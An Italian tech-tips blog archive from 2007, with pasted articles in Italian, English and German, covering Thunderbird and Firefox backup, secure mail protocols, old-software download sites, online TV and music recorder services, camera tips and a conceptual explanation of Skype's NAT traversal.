martedì 4 dicembre 2007

Salvare i messaggi con Mozilla Thunderbird


Pugia.com - Articoli - Salvare i messaggi con Mozilla Thunderbird
Uno dei problemi più ricorrenti quando ci si trova a dover ripristinare il sistema, è il salvataggio dei messaggi ricevuti con la posta elettronica.

Thunderbird non possiede un comando immediato per l'esportazione dei messaggi che permetta di salvarli in modo da poterli recuperare anche ad una successiva reinstallazione del programma.
Backup dei messaggi

La prima cosa da fare è effettuare il backup dei messaggi che vogliamo esportare. La cartella che viene usata da Thunderbird per contenere i messaggi si trova in

C:Documents and SettingsXXXXDati applicazioniThunderbird

dove al posto di XXXX ci sarà il vostro nome utente.

L'unico problema che potreste avere per raggiungere questo percorso è il fatto che la cartella "Dati applicazioni" è un file nascosto: per ovviare a questo problema potete copiare il percorso scritto in precedenza, modificando opportunamente il nome utente, e incollarlo nella barra degli indirizzi.

All'interno della cartella Thunderbird si trova un'altra sottocartella chiamata "Profiles". Questa contiene a sua volta delle sottocartelle, generalmente una sola, con nomi composti nel seguente modo:

xxxxxxxx.default

dove ogni x corrisponde a un carattere casuale. Ad esempio nel mio caso la cartella si chiama "daxkjb4n.default".

Al suo interno troviamo quindi i file relativo al profilo utente che ci interessano, ma soprattutto, troviamo la cartella "Mail" che contiene i nostri messaggi. Più precisamente la cartella che dobbiamo salvare è "Local Folders".

Questa cartella chiaramente può essere copiata tranquillamente in un CD, su un secondo hard disk o comunque su un qualunque supporto a cui si potrà accedere una volta reinstallato il programma.
Ripristino dei messaggi

Una volta reinstallato il programma, verrà richiesto di creare l'account di posta principale. Una volta che sono stati completati tutti i passaggi, verrà chiesto se si vogliono scaricare i messaggi dall'account appena creato. Togliete il segno di spunta alla casella corrispondente per evitare che questo accada e cliccate il pulsante Fine per concludere la creazione dell'account.

A questo punto chiudete il programma e procediamo al rispristino dei messaggi.

Torniamo quindi nella cartella

C:Documents and SettingsXXXXDati applicazioniThunderbird

dove al solito al posto di XXXX dovrete inserire il vostro nome utente. All'interno della cartella "Profiles" con tutta probabilità il nome del profilo sarà cambiato ma poco importa, entrate nella sottocartella relativa al profilo.

A questo punto sarà sufficiente copiare la cartella "Local Folders" salvata in precedenza all'interno della cartella "Mail" per completare l'opera.

A questo punto basterà riaprire Thunderbird per verificare che i messaggi sono tornati.


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domenica 4 novembre 2007

Stilish per Firefox

Con l'estensione Stilish è possibile modificare le impostazioni di visualizazione di una qualsiasi pagina web caricata nel browser Firefox

Dopo l'installazione dell'estensione visitare http://userstyles.org e scaricare gli "stili" voluti


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Sincronizzare il calendario di Thunderbird con quello di Google Calendar

Provider for Google Calendar :: Thunderbird Add-ons
Provider for Google Calendar 0.3.1 Homepage
by Philipp Kewisch

Allows bidirectional access to Google Calendar

This extension allows Sunbird and Lightning to read and write events to a Google Calendar.

Please read http://wiki.mozilla.org/Calendar:GDATA_Provider for more details and before filing a bug.

Please use http://bugzilla.mozilla.org/ to submit bugs. Product is Calendar, Component is Provider: GData
Works with:

* Thunderbird Thunderbird: 2.0a1 – 2.0.0.*

How to Install in Thunderbird

1. Right-click the link below and choose "Save Link As..." to download and save the file to your hard disk.
2. In Mozilla Thunderbird, open Add-ons from the Tools menu.
3. Click the Install button, and locate/select the file you downloaded and click "OK".

(http://find.pcworld.com/57945)


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Google Apps for Domain

Consente di "gestire" i servizi tipici di Google (calendar, mail, docs&spreedsheet) collegandoli ad un nome di dominio. In pratica, acquistando (anche su Google) un nome di dominio, si va a gestire i servizi sopra indicati con Google direttamente anzichè con il venditore del dominio.

www.google.com/a, get started, sign up sotto standard edition, inserire un nome di dominio (o acquistarlo ora con GoDaddy per 10$/anno), creare un account admin, configurare i servizi voluti fino ad un massimo di 200 utenti





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Come creare un feed RSS

  1. a mano, con un editror di testi e le specifiche RSS 2.0 (su http://find.pcworld.com/57939)
  2. con un feed generator, che funziona automaticamente, es. http://feedyes.com
  3. poi va validato presso http://feedvalidator.org o con RSS Board's validator (http://find.pcworld.com/57940)
  4. infine da diffuso, ad es. con www.feedburner.com


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martedì 4 settembre 2007

mozilla backup



Il Software - IL sito italiano sul software
Firefox e Thunderbird: salvare messaggi di posta ed impostazioni del browser


Quando ci si trova a dover reinstallare il sistema operativo e le principali applicazioni spesso ci si accorge di aver dimenticato di effettuare il backup di alcune impostazioni importanti. Tra le informazioni che l'utente, sempre più di frequente, realizza di aver perduto, vi sono messaggi di posta elettronica, password personali, l'elenco dei siti web preferiti, cookie per l'accesso a determinati siti web e così via.

Mozilla Backup è un software che risulterà certamente utilissimo per tutti coloro che utilizzano i prodotti di Mozilla Foundation quali il browser Firefox oppure il client di posta Thunderbird. Il programma, infatti, completamente gratuito, consente di creare una copia di backup di tutte le impostazioni di Mozilla, Firefox, Thunderbird e Netscape 7.x nonché degli archivi contenenti i messaggi di posta elettronica inviati e ricevuti, la rubrica, i bookmark e così via. A partire dalle ultime release, Mozilla Backup è in grado di creare una copia di backup delle principali estensioni e dei dati da queste gestiti: una lista aggiornata delle estensioni supportate, è pubblicata nella pagina disponibile cliccando qui.

Dopo aver installato il software prelevando il file di setup da questa pagina, è possibile tradurre l'intero programma in italiano posizionando il file "Default.lng" - contenuto all'interno dell'archivio compresso italian.zip - nella cartella, su disco fisso, all'interno della quale si è installato Mozilla Backup (il file "Default.lng" già presente deve essere sovrascritto).

A questo punto, avviando Mozilla Backup la sua interfaccia risulterà interamente in lingua italiana.

Cliccando sul pulsante "Avanti", il software richiede di scegliere se creare una copia di backup od effettuare il ripristino delle impostazioni. Una volta scelta l'opzione d'interesse, dal riquadro sottostante, è indispensabile selezionare il software (Mozilla, Firefox, Thunderbird, Netscape) sul quale si desidera intervenire (effettuare il backup od il ripristino delle relative impostazioni di configurazione).


La finestra successiva permette di selezionare il profilo da salvare (se è un unico utente ad utilizzare Firefox, Thunderbird o Netscape, sarà presente solo il profilo di default) e di specificare dove deve essere memorizzato l'archivio di backup: tutte le impostazioni vengono salvate in un unico file compresso con estensione .pcv. Il file di backup può essere eventualmente crittografato e protetto con una password: questa precauzione si rivela particolarmente utile ed interessante. All'interno della copia di backup, infatti, è assai probabile che l'utente abbia deciso di memorizzare le password digitate nei form online tramite il browser, i dati necessari per l'accesso alle proprie caselle di posta elettronica, l'elenco dei siti preferiti: si tratta di informazioni a carattere strettamente personale che vanno difese da occhi indiscreti.


La procedura guidata proposta da Mozilla Backup, richiede poi quali impostazioni debbano essere inserite nell'archivio di backup (nel caso del browser è possibile salvare i segnalibri - ossia l'elenco dei siti web preferiti -, la cronologia, le password introdotte nei moduli online, i cookie, i dati inseriti nei form presenti nelle pagine web, l'elenco dei file scaricati, i certificati). La casella per il backup delle estensioni eventualmente installata non risulta attivata in modo predefinito: il ripristino di alcune estensioni, per motivi tecnici, non è infatti garantito. Mozilla Backup non è infatti in grado di ricreare i file d'installazione per ciascuna estensione presente.

Chi fosse specificamente interessato al backup delle estensioni di Firefox installate sul proprio sistema, può orientarsi sull'uso di FEBE (ved. questa pagina per il download).
Anche FEBE è un'estensione per Mozilla Firefox che, una volta installata, non effettua solamente un semplice backup delle altre estensioni presenti, ma s'incarica di “impacchettarle” nuovamente in un file d'installazione in formato .xpi.
Il backup delle estensioni installate in Firefox viene effettuato provvedendo a copiare anche le rispettive impostazioni di configurazione. Queste ultime vengono registrate in un file denominato pref.js che accoglie globalmente tutte le preferenze, non suddivise per estensione.
Non esiste infatti una procedura standard che lo sviluppatore di un'estensione possa adottare per fare in modo che le impostazioni della sua creazione siano separate da quelle relative alle altre: stando così la situazione, nemmeno FEBE può proporre il backup od il ripristino limitati ad una singola estensione non potendo estrarre, in modo accurato, i parametri di configurazione individuali. Appare ovvio come non sarebbe stato pensabile trattare individualmente – scrivendo codice “ad hoc” - ciascuna estensione in circolazione considerato il numero di aggiunte per Firefox oggi disponibile e che cresce quotidianamente. Va quindi tenuto a mente che il backup effettuato con FEBE è sempre omnicomprensivo così come la procedura di ripristino.

FEBE è in grado di creare una copia di backup anche dei temi per il browser scelti dall'utente: questi sono invece salvati su disco nel canonico formato .jar. Per la compressione viene utilizzata l'utility 7-zip, integrata nel pacchetto d'installazione di FEBE.

Una volta creato un backup completo (suggeriamo di provvedere periodicamente alla sua effettuazione), si potrà memorizzare il tutto su una cartella “ad hoc” oppure su un supporto rimovibile (per esempio, una chiavetta USB) in modo da trasportare le impostazioni di Firefox da un sistema all'altro. Suggeriamo, comunque, di proteggere adeguatamente il supporto di memorizzazione destinato ad ospitare i backup creati con Mozilla Backup o con FEBE: alcuni cookie, ad esempio, possono contenere informazioni personali come username e password per l'accesso ai vari siti web.

FEBE, una volta conclusa l'installazione, è impostato per creare automaticamente una copia di backup di tutte le estensioni e di tutti i temi installati in Firefox. Se si desidera creare una copia di sicurezza anche delle impostazioni del browser, dei cookies, dell'elenco dei siti web preferiti, è necessario attivare le apposite caselle nella finestra di configurazione accessibile dal menù Strumenti. Come primo passo, quindi, una volta installata l'estensione FEBE, consigliamo di portarsi all'interno del menù Strumenti di Firefox quindi scegliere le voci FEBE, FEBE Options per specificare di quali elementi si desidera venga effettuato il backup e quale cartella dovrà ospitare le varie copie di sicurezza.


Cliccando sulla sezione Directory l'utente può indicare la cartella di destinazione dei file di backup.

Per effettuare il backup dei segnalibri, dei cookie e delle impostazioni di Firefox, è indispensabile attivare le relative caselle contenute nella scheda Options. L'avvio del backup si concretizza scegliendo la voce Effettua il backup contenuta nel menù Strumenti, FEBE. In un secondo tempo, si può decidere se ripristinare le estensioni, i temi, i siti preferiti, le impostazioni o i cookies agendo sugli appositi comandi.

Attraverso la sezione Scheduled backups, si ha la possibilità di programmare l'effettuazione automatica periodica di backup degli elementi selezionati in precedenza tramite la scheda Options. I backup possono essere pianificati a cadenza giornaliera, settimanale oppure mensile.

Per impostazione predefinita, FEBE mostra nella barra di stato di Firefox (in basso a sinistra) una piccola icona. Quando questa mostra una "X" di colore rosso significa che l'utente non ha pianificato alcun backup automatico. Allorquando un backup automatico sia stato invece pianificato, viene invece visualizzata la lettera "F". Se tale icona viene proposta su sfondo rosso, significa che un backup verrà avviato nel giro di un minuto. In tal caso è bene non effettuare modifiche sugli oggetti di cui FEBE provvederà a creare una copia di backup.
Non è indispensabile pianificare un backup automatico: per eseguire, in qualunque momento, un'operazione di backup degli elementi selezionati, è sufficiente cliccare sul menù Strumenti, su FEBE infine su Perform backup. Al termine della procedura, FEBE mostrerà un report finale che riassume tutti i dettagli sui vari oggetti memorizzati nella directory di backup.

Cliccando sul menù Strumenti, su FEBE quindi su Restore, si può decidere quali elementi debbano essere ripristinati in Firefox (estensioni, cookie, segnalibri, preferenze, certificati,...).
L'ultima versione di FEBE è prelevabile dal sito web ufficiale.

Per quanto riguarda Thunderbird, Mozilla Backup consente di creare una copia di backup della rubrica, delle varie impostazioni e di tutti gli archivi di posta elettronica. Abbiamo messo alla prova Mozilla Backup richiedendo il backup completo dei nostri 1,4 GB di e-mail suddivise tra numerosi account di posta differenti: il programma ha effettuato senza problemi la copia di sicurezza creando un unico archivio compresso (in formato .pcv) delle dimensioni di 750 MB circa. Non ha evidenziato alcun problema nemmeno la fase di ripristino di tutte le impostazioni di Firefox e Thunderbird (compresi i pesanti archivi di posta) da noi richiesta, mediante l'uso di Mozilla Backup, su un secondo sistema.
Attivando la casella Solo impostazioni email vengono inserite nel file di backup esclusivamente le impostazioni dei vari account e non gli archivi di posta veri e propri.

L'ultima versione di Mozilla Backup è prelevabile gratuitamente facendo riferimento a questa pagina.
L'ultima versione di FEBE è scaricabile dal sito web ufficiale.



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google httos



Il Software - IL sito italiano sul software
Utilizzare protocolli di comunicazione sicuri per evitare di essere spiati

di Michele Nasi







Spesso, quando si utilizzano connessioni Wi-Fi, si scambiano dati su un canale insicuro. In molti casi, infatti, le reti Wi-Fi pubbliche o quelle messe a disposizione da alcuni provider, non dispongono di sufficienti misure di sicurezza.

In contesti simili, si dovrebbe - come regola generale - evitare l'utilizzo dei protocolli di comunicazione riportati in rosso mentre sarebbe bene preferire i protocolli "sicuri" evidenziati in verde.

Protocolli insicuri Protocolli sicuri
HTTP HTTP abbinato ad SSL
POP (porta TCP:110) POP + SSL (porta TCP:995)
IMAP (TCP:143) IMAP + SSL (TCP:993)
SMTP (TCP:25) SMTP + SSL (TCP:465)
FTP FTPS o SFTP
Telnet SSH (non basato su SSL ma concettualmente similare)
PPTP VPN PPTP su SSTP VPN
ICQ Clienti di messaggistica istantanea configurato per l'uso di SSL
Skype (uso di PKI proprietario)
Uso di SSL-VPN, L2TP (impiego di certificati digitali lato server e lato client), IPSEC (certificati digitali lato server e lato client oppure utilizzo di chiavi scambiate inizialmente), tunneling SSH VPN.


Per l'utilizzo dei protocolli di comunicazione "sicuri", è necessario utilizzare - lato server - solo certificati digitali firmati e riconosciuti da parte di autorità come VeriSign, Entrust, GeoTrust, GoDaddy. L'uso di certificati creati autonomamente oppure già scaduti è assolutamente sconsigliabile in quanto induce negli utenti una pratica pericolosa ovvero ignorare i messaggi d'allerta restituiti, ad esempio, dal browser.

Per attivare l'impiego della crittografia durante le comunicazioni tra client e server, nel caso della consultazione e dell'invio della posta elettronica, è sufficiente spuntare la casella che permette l'uso di SSL e specificare delle porte differenti per la posta in arrivo (POP3) e per quella in uscita (SMTP) rispetto alle impostazioni standard.
Nella figura sottostante sono riportate le opzioni accessibili dalla finestra Strumenti, Account, Impostazioni avanzate di Outlook Express/Windows Mail.


La finestra di Mozilla Thunderbird per la configurazione dei parametri server per la consultazione della posta in arrivo:


La possibilità di usare SSL per la ricezione e l'invio della posta elettronica, dipende dalla configurazione del server e-mail del provider Internet utilizzato.
Il servizio GMail di Google supporta entrambe le modalità. E' però criticabile il fatto che, per l'accesso al servizio webmail e per la sua gestione, venga impiegato in modo predefinito il protocollo http e non https. Emblematica la dimostrazione pubblica tenuta da un famoso ricercatore di sicurezza (ved. questa notizia) che ha fatto notare come, non accedendo a GMail via https, un utente malintenzionato - collegato, ad esempio, allo stesso access point - possa assumere l'identità di un'altra persona divenendo in grado di leggere le sue e-mail, carpire dati personali memorizzati sui server di Google, inviare posta elettronica a suo nome.
E' interessante far notare come digitando https://mail.google.com (sostituendo, quindi, manualmente, "https" ad "http"), tutte le comunicazioni tra client e server (e viceversa) che riguardano la gestione della webmail di Google vengano invece cifrate utilizzando SSL. Si tratta di un problema comune a molte realtà: la stragrande maggioranza degli utenti, così, si trova ad utilizzare modalità di connessione insicure.

Anziché consultare la posta elettronica via web, ricordiamo che Google GMail può essere utilizzato anche con qualsiasi client di posta. In questo caso, è indispensabile utilizzare una connessione SSL.
Le istruzioni per scaricare ed inviare la posta GMail da un normale client di posta, sono consultabili facendo riferimento a questa pagina.

Ad oggi i servizi che non supportano ancora HTTPS sono molti: tra questi citiamo Microsoft Hotmail, Yahoo Mail, MySpace, Facebook, Google Maps, Google Blogspot, Google Video, Youtube. Da apprezzare invece il vendor Salesforce che di default adotta https dando la possibilità aggiuntiva ai propri clienti di bloccare completamente le connessioni non-SSL.

Per cifrare il contenuto delle e-mail, invece, è possibile ricorrere all'uso di un certificato personale. Emesso - spesso gratuitamente - da un'autorità preposta, il certificato consente all'utente di codificare e firmare digitalmente i propri messaggi di posta elettronica garantendo in questo modo riservatezza, confidenzialità, autenticità, integrità e non ripudio delle comunicazioni trasmesse.
Segnaliamo due società che mettono a disposizione, gratuitamente, certificati digitali da utilizzare per la posta elettronica:
- Globaltrust
- Thawte
Tutti i client che supportano il formato S/MIME sono in grado di gestire i certificati digitali. MIME è l’acronimo di Multipurpose Internet Mail Extensions e fissa uno standard per il formato di un messaggio di posta elettronica. Ogni messaggio inviato attraverso un server SMTP è considerabile come in formato MIME. Le varie parti di un’e-mail ed, in particolare, le indicazioni MIME inserite al suo interno, specificano, ad esempio, il formato con cui viene inviato il messaggio (solo testo o html), la codifica utilizzata, eventuali allegati e così via. S/MIME (Secure Multipurpose Internet Mail Extensions) è uno standard per la crittografia a chiave pubblica e per la firma dei messaggi di posta elettronica che si inserisce all'interno delle specifiche di MIME.
S/MIME, originariamente sviluppato da RSA Security, fornisce la possibilità di autenticare, verificare l'integrità, garantire il non ripudio (utilizzando la firma digitale) e proteggere il messaggio (utilizzando la crittografia) trasmesso in Rete.

Per tutti i dettagli relativi alla configurazione del client di posta elettronica per l'utilizzo di un certificato digitale, vi suggeriamo di far riferimento a questo nostro articolo di approfondimento.


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come scaricare software passati



Come scaricare software passati
Col passare degli anni, o forse è meglio dire mesi, i software che tutti noi siamo soliti utilizzare subiscono degli upgrade molte volte utili, in altri casi invece appesantiscono il programma arricchendolo di feature per nulla attinenti all'utilizzo originario del software e rendendolo via via sempre più pesante da digerire alle nostre obsolete macchine. Tra i casi più eclatanti possiamo citare senza dubbio Nero Burning Rom, iTunes, Real Player e tanti altri programmi utilizzati su larga scala.

OldApps è un portale senza fronzoli e dalla grafica spartana ma di rapida ed efficiente consultazione che permette, attraverso server proprietari, di scaricare le vecchie versioni di moltissimi software presenti in un database opportunamente catalogato, ivi compresi vecchi driver per schede video nVidia e Ati. Da sottolineare che il servizio è assolutamente gratuito ma tutti i programmi non-freeware resteranno tali e richiederanno l'attivazione una volta esaurito il periodo di prova.



# OldApps
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Commenti :
Perusar

Sul tema c'era anche il sito

http://www.oldversion.com/

non si sa mai
Cissiboy

secondo me il caso + eclatante è quello di Skype che adesso è un vero e proprio mattone senza un perchè..
Sbavi

[QUOTE=Cissiboy]secondo me il caso + eclatante è quello di Skype che adesso è un vero e proprio mattone senza un perchè..[/QUOTE]

Basta vedere la cronologia, si passa da 3 MB a 23 MB!!

http://www.oldapps.com/skype.htm
Il Castiglio

[QUOTE=Cissiboy]secondo me il caso + eclatante è quello di Skype che adesso è un vero e proprio mattone senza un perchè..[/QUOTE]
1) non credo che si possa usare una vecchia versione di Skype - di solito con programmi di questo tipo sei obbligato ad aggiornare quasi costantemente, le vecchie versioni sono incompatibili.
2) il peso in Mb non sempre è indice di "pesantezza", bisognerebbe guardare l'utilizzo di RAM, d'altronde le prime versioni non avevano la funzione di videochiamata.
Cissiboy

[QUOTE=Il Castiglio]1) non credo che si possa usare una vecchia versione di Skype - di solito con programmi di questo tipo sei obbligato ad aggiornare quasi costantemente, le vecchie versioni sono incompatibili.
2) il peso in Mb non sempre è indice di "pesantezza", bisognerebbe guardare l'utilizzo di RAM, d'altronde le prime versioni non avevano la funzione di videochiamata.[/QUOTE]

non credo ci siano problemi di compatibilità sai..io credo che l'ultima versione 2.5 sia ancora buona..
Nel caso di Skype 3.5 la pesantezza è evidente in tutto..
studio.ciodo

Sullo stesso tema di siti simili,vi consiglio anche questo...specializzato perlopiù su programmi freeware puoi scaricare anche tutte le varie versioni passate:
http://www.filehippo.com/


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venerdì 24 agosto 2007

rss via mail



RSS via email | Max Laconca’s weblog
Molti possono essere i vantaggi di ricevere via email i contenuti RSS di un sito.

Personalmente trovo molto utile l’aggiornamento in tempo reale degli articoli pubblicati sui miei siti preferiti, grazie alla notifica delle email che ricevo via sms.

Un’altra idea è quella di filtrare automaticamente attraverso il programma di posta elettronica ciò che più ci interessa, cestinare il resto, ordinare le news in cartelle separate…
Quasi una rassegna stampa automatica, pronta ogni mattina per noi.

Il servizio viene offerto da RMail e RSSFwd in modo semplice e gratuito.

E’ richiesto solo di immettere l’indirizzo RSS del sito preferito e quello di posta elettronica dove desideriamo ricevere le email.


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feed rss via mail



Rmail

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virtual xp



Download details: IE App Compat VHD
Internet Explorer Application Compatibility VPC Image
Brief Description
VPC Hard Disk Image for testing websites on IE on Windows XP SP2
On This Page
Quick Details
Overview
System Requirements
Instructions
What Others Are Downloading
Download files below
Quick Details
Version: 2.0
Date Published: 8/20/2007
Language: English
Download Size: 560.1 MB - 1203.5 MB*
*Download size depends on selected download components.
Overview
A VPC hard disk image containing a pre-activated Windows XP SP2, and either IE6 or IE7 and the IE7 Readiness Toolkit.

This VPC image will expire on December 7, 2007.

Top of page
System Requirements

* Supported Operating Systems: Windows Server 2003; Windows Vista; Windows XP

You will need a minimum of 1.5 Gig hard drive space free to expand the VHD file.

You can download the latest version of Virtual PC at http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx.

Top of page
Instructions
Once you have completed the download, double-click file to expand the VHD file. Start Virtual PC and create a new VPC, and point to the files you just expanded.

Top of page
Files in This Download
The links in this section correspond to separate files available in this download. Download the files most appropriate for you.
File Name: File Size

IE6_VPC.EXE


643.4 MB
Download

IE7_VPC.EXE


560.1 MB
Download

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What Others Are Downloading
Others who downloaded Internet Explorer Application Compatibility VPC Image also downloaded:

1. Internet Explorer Developer Toolbar
2. Windows Internet Explorer 7 for Windows XP SP2
3. Internet Explorer 6 Service Pack 1
4. ASP.NET AJAX 1.0
5. Internet Explorer 7 Readiness Toolkit

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martedì 14 agosto 2007

Liqui-jet

usando la stampante a getto d'inchiostro senza regolarità può accadere che le stampe abbiano vistosi difetti che non spariscono neppure dopo i cicli di pulizia interna

si può usare il prodotto di www.liqui-jet.de positivamente riscontrato da pcwelt 09/07 pag. 112K


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lunedì 13 agosto 2007

wwiTV



wwiTV (Anteprima e Istruzioni)

wwiTV.com è un sito da cui è possibile vedere molte stazioni televisive, tra cui molte Italiane. Per far aprire la stazione preferita basterà cliccare sul pulsante corrispondente nella colonna Stream. Interessante la possibilità di registrare una trasmissione televisiva usando CamStudio o meglio ancora SDP Multimedia - Vedi un --> demo <--


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domenica 12 agosto 2007

www.onlinemusicrecorder.com

www.onlinemusicrecorder.com
Mit diesem interessanten kostenlosen Angebot kommt man schnell und unkompliziert an jede Menge Musik für die nächste Party oder für den großen Speicher des neuen MP3-Players, (www.onlinemusicrecorder.com). Der englischsprachige Dienst stammt von derselben Adresse wie Onlinetvrecorder (siehe auch Seite 146).
Er zeichnet kontinuierlich sämtliche Titel auf, die auf einer Vielzahl von Internet-Radiostationen gespielt werden. Dieses Basisangebot lässt sich jederzeit von allen Anwendern herunterladen, die dem System bereits einen Auftrag zum Aufnehmen gegeben hatten, als der Titel im Web-Radio lief. Das hat rechtliche Gründe - so soll sichergestellt werden, dass ein Download legal ist, weil der Anwender selbst vorher den Auftrag zum Mitschneiden gegeben hat.
Sammlung starten: Sie müssen sich also lediglich einmal bei dem Dienst registrieren und auf den Aufnahme-Button klicken. Ab diesem Zeitpunkt gibt das System für sämtliche aufgezeichneten Titel die Rechte an Sie weiter. Im Lauf von rund vier Monaten
- so lange gibt es den Dienst schon - kamen bereits rund 30.000 Titel zusammen. Das sind umgerechnet knapp 70 Tage Musik am Stück.
Auswerten: Unter „Download your files, Show my recorded songs" finden Sie eine Liste mit den herunterladbaren Titeln, die Sie alphabetisch sortieren oder durchsuchen können. Klicken Sie hier auf den Download Button rechts neben dem Titelnamen. Über das Kontextmenü („Ziel speichern unter") laden Sie die codierte Datei mit der Endung
*.omrkey herunter, mit einem Linksklick rufen Sie die Datei gleich im Tool Onlinemusicrecorder Decoder auf und wandeln sie in eine MP3-Datei um (www.onlinemusicrecorder.com, 4,35 MB, für Windows 2000 und XP, auf CCD). Den Decoder bekommen Sie nach dem Login.
Die Qualität richtet sich nach der Quelle. Mit zumeist 128 KBit/s ist sie akzeptabel.
Einige Titel stehen allerdings auch nur in 56 KBit/s zur Verfügung - das ist wenig erfreulich, zumal der Anwender das nicht vorher erfährt. Die Streams werden automatisch geschnitten. Das klappt meist so gut, dass keine Nachbearbeitung nötig ist.
Nachteile: Bei Onlinemusicrecorder kann der Anwender erst nach einiger Zeit auf eine große Auswahl an Titeln zurückgreifen. Zudem hat er keinen Einfluss auf die aufgenommenen Streams und die Schnittmarken.


Netlabels und andere Angebote
Netlabels: Ein weiterer Weg, um ganz legal gratis an Musik zu kommen, sind Websites von so genannten Netlabels. Das sind kleine Musikfirmen, die ihr Angebot übers Internet verbreiten und viele Songs zu Werbezwecken kostenlos zur Verfügung stellen. Sites wie Phlow (www.phlow.de) und Rowolo (www.rowolo.de/labels) sind ein guter Einstiegspunkt für die Suche nach Netlabels.
Diese eignen sich vor allem für Anwender, die neue Musik fernab des Massengeschmacks suchen.
Marketing-Tracks: Ein (werbefreies!) Marketing Instrument der Automarke Mercedes ist das Mixed Tape. Unter www.mixed-tape.com finden Sie alle paar Wochen einen neuen Sampler mit oft sehr interessanten unbekannten Bands aus dem Bereich Pop, Soul, Black Music und Electro. Jede Compilation umfasst 15 bis 16 Stücke in voller Länge. Sie können den gesamten Sampler oder einzelne Titel herunterladen - in 192 KBit/s.
Microsoft-Sponsoring: Ebenfalls werbefinanziert sind 35 Gratis-Downloads, die Microsoft bei Artist Direct (www.artistdirect.com/freemp3s) präsentiert. Hier finden Sie auch bekanntere Künstler wie Tom Waits, Aimee Mann oder Moby. Klicken Sie mit der rechten Maustaste auf „Download", und wählen Sie „Ziel speichern unter". Die Tracks kommen als MP3-Dateien in akzeptablen 128 KBit/s.
Weitere Quellen: Das Beispiel zeigt, dass nicht bloß unbekannte Bands im Netz ihre Musik an den Mann bringen wollen, sondern inzwischen auch viele große Musik Unternehmen das Internet als Medium verstehen, um einzelne Titel ihrer Künstler kostenlos zu streuen. Einige weitere interessante Angebote zum direkten Download von Musik-Tracks finden Sie hier unten..

Links: Musik gratis
Hier sind einige weitere Quellen für kostenlose Musik-Dowmloads. Für einige Angebote ist eine (kostenlose) Anmeldung erforderlich.
www.archive.org/details/netlabels
www.besonic.de
www.elixic.de
http://mp3.de/promo



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www.onlinetvrecorder.com

www.onlinetvrecorder.com
Auch komplette Fernsehsendungen gibt es im Web - und zwar beim Dienst www.
onlinetvrecorder.com. Man registriert sich dort mit einer Mailadresse und erhält daraufhin Zugang zu einer elektronischen Programmzeitschrift.
Dort lassen sich die Sendungen markieren, die der Dienst für einen aufnehmen soll. Einige Stunden nach Ende der Sendung lässt sie sich herunterladen.
Der Download: Wenn man den Haupt-Server benutzt, muss man sich in eine virtuelle Warteschlange einreihen. Bei ihm steht jedem ein tägliches Kontingent von 3 GB zur Verfügung, das zusätzlich durch die Wochen (7 GB) und die Monatsbegrenzung (18 GB) beschränkt ist. Nur zwischen 1 und 6 Uhr in der Nacht kommen diese Begrenzungen nicht zum Tragen.
Als Alternative sind Mirrors im Angebot. Das sind Server von anderen Nutzern, die einzelne Sendungen spiegeln. Manche von ihnen sind schnell, manche langsam. Onlinetvrecorder zeigt an, welche aufgenommenen Sendungen auf welchen Mirrors liegen.
Vorsicht: Die Benutzer-Server finanzieren sich über Werbebanner - für jeden Benutzer, der auf ein Werbemittel klickt, erhalten sie ein paar Cent vergütet. Die Anzeigen stammen nicht immer von seriösen Firmen.
Daher gilt: Banner ruhig anklicken, aber die Web-Seiten der Werbetreibenden genau durchlesen, bevor man irgendwo seine Adresse einträgt und etwas bestellt.
Entschlüsseln: Damit Mirrors die Sendungen verteilen können, ohne in rechtliche Schwierigkeiten zu geraten, sind alle Videodateien verschlüsselt. Ein Tool, das nach Eingabe von Benutzername und Passwort online prüft, ob ein Anwender die Sendung tatsächlich zur Aufnahme markiert hat, decodiert die Dateien. Das kostenlose Tool erhalten registrierte Benutzer nach dem Login auf www.onlinetvrecorder.com über den Punkt „Dekodieren" in der linken Navigation (1,2 MB).
Alles aufnehmen. Onlinetvrecorder.com bietet die Option, alle künftigen Sendungen aller angebotenen Sender aufzunehmen - und zwar unter „Aufnehmen, EPG-Tabelle".
Dazu gibt man in die Suchmaske „%%%" ein, klickt auf „Search" und am Ende der Ergebnisseite auf „Create wishlist".
Um auf diese Weise aufgenommene Sendungen herunterzuladen, klickt man auf der gleichen Seite auf „Advanced Search", gibt den Namen der gewünschten Sendung ein, wählt aus dem Drop-down-Feld neben
„Wish" die Option „Term: %%%" und klickt auf „search.in wish". Vor einer erneuten Suche muss man wieder auf „Advanced Search" klicken.
Die rechtliche Seite: Ob Onlinetvrecorder.
com legal ist, ist noch nicht höchstrichterlich geklärt. Einzelne Sender sind bereits rechtlich gegen den Dienst vorgegangen. Er erhält aber ungeachtet dessen sein Angebot aufrecht.



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consigli per digicam

non lasciare mai la digicam al sole, più è calda peggiore sarà il risultato, ogni tanto fare una pausa e lasciarla raffreddare
minore è il valore ISO minore sarà il rumore digitale, eventualmente correggendo il flash o il tempo di esposzione
diminuire se possibile il livello di contrasto nelle impostazioni (Scharfzeichnung)
salvare le foto in modalità raw o se non è possibile in jpg con il minor levello di compressione


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sabato 11 agosto 2007

come skype "buca" il nat

So funktioniert der Trick
NAT reicht nur Daten an den PC weiter,
wenn dieser sie zuvor angefordert hat. Wenn
aber zwei Teilnehmer mit einem Voice-over-
IP-Tool wie Skype Daten austauschen wollen,
treffen zunächst Daten ein, die keiner
bestellt hat. Hier kommt der Skype-Server
ins Spiel.
Beispiel: Anton will Paula Daten zukommen
lassen. Beide haben das Programm gestartet
und sich am Skype-Server angemeldet.
1. Die Vermittlungsstelle: Dieser erfährt
beim Start des Tools die IP-Adressen der
Router von Anton und Paula. Nun soll der
gesamte Datenverkehr aber nicht über den
Server laufen, sondern über eine Peer-to-
Peer-Verbindung. Skpye braucht also ein
Loch im NAT-System, damit die beiden PCs
zusammenkommen.
2. Das Loch: Antons Router erhält vom
Skype-Server die IP-Adresse von Paulas
Router – und er erfährt den Port, den ihr
Skype-Tool für den Datenverkehr verwendet.
Antons Skype-Tool sendet nun eine beliebige
Anfrage an Paulas IP-Adresse. Die
Anfrage wird von Paulas NAT-System verworfen,
da diese Daten vorher nicht angefordert
wurden. Das ist aber egal, denn Antons
NAT-System erwartet nun eine Antwort
von Paula – ist also anstandslos bereit, Daten
von Paula an Anton weiterzuleiten.
3. Der Verbindungsaufbau: Da Antons NATSystem
angebohrt ist, kann Paulas Skype-
Programm die Verbindung aufbauen. Die
dazu nötige IP-Adresse und den richtigen
Port erfährt auch ihr Router vom Skype-Server.
Wenn er an diese Adresse Daten sendet,
hält Antons NAT-System diese für eine bestellte
